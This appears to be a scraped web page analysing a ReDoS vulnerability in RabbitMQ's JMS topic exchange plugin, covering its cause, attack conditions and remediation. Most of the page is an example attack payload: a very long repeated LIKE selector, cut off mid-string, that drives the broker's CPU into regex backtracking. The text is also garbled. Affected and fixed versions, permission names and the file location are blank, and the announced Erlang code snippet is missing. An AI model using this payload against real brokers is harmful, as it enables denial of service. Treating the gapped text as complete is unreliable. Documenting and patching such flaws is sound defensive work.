RabbitMQ rabbitmq_jms_topic_exchange ReDoS Vulnerability (GHSA-ch6f-3h9j-j877) Analysis

RabbitMQ JMS Topic Selector Regular Expression Denial of Service Vulnerability (GHSA-ch6f-3h9j-j877) Vulnerability Overview Vulnerability Type: Denial of Service (DoS) / Regular Expression Denial of Service (ReDoS) Severity: Moderate CVSS Score: 6.0 / 10 Description: The plugin allows authenticated RabbitMQ JMS Topic Selector users to consume Broker CPU resources by constructing unbounded LIKE regular expressions. Principle: When processing JMS selectors, this plugin converts the operator into a regular expression. Attackers can exploit specific inputs (such as repeated or characters) to generate extremely complex regular expressions. This causes RabbitMQ to fall into backtracking during message routing, thereby exhausting CPU resources. Affected Scope Affected Component: plugin Affected Versions: Attack Conditions: The attacker must have an authenticated AMQP account. The account requires , , and permissions. The attacker can bind to and publish messages to exchanges of type . Remediation Fixed Versions: Recommendation**: Upgrade the RabbitMQ server to one of the fixed versions listed above or a later version. POC / Exploit Code A complete POC code block is not directly provided in the source; however, reproduction steps and key code snippets are provided. Key Code Snippet (Erlang) This is the core code logic causing the vulnerability, located in : Example Attack Payload Attackers can trigger the vulnerability using JMS selectors similar to the following: ``` 'like' (ident, 'a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y%z%0%1%2%3%4%5%6%7%8%9%_%a%b%c%d%

Goal Reached Thanks to every supporter — we hit 100%!

RabbitMQ rabbitmq_jms_topic_exchange ReDoS Vulnerability (GHSA-ch6f-3h9j-j877) Analysis

More from this source